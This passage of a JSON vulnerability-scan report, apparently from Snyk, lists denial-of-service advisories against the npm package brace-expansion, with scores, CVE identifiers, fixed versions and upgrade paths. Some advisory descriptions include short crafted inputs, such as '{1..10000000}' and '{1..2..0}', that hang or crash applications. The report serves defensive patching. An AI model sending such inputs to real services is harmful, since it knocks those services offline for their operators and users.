"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": 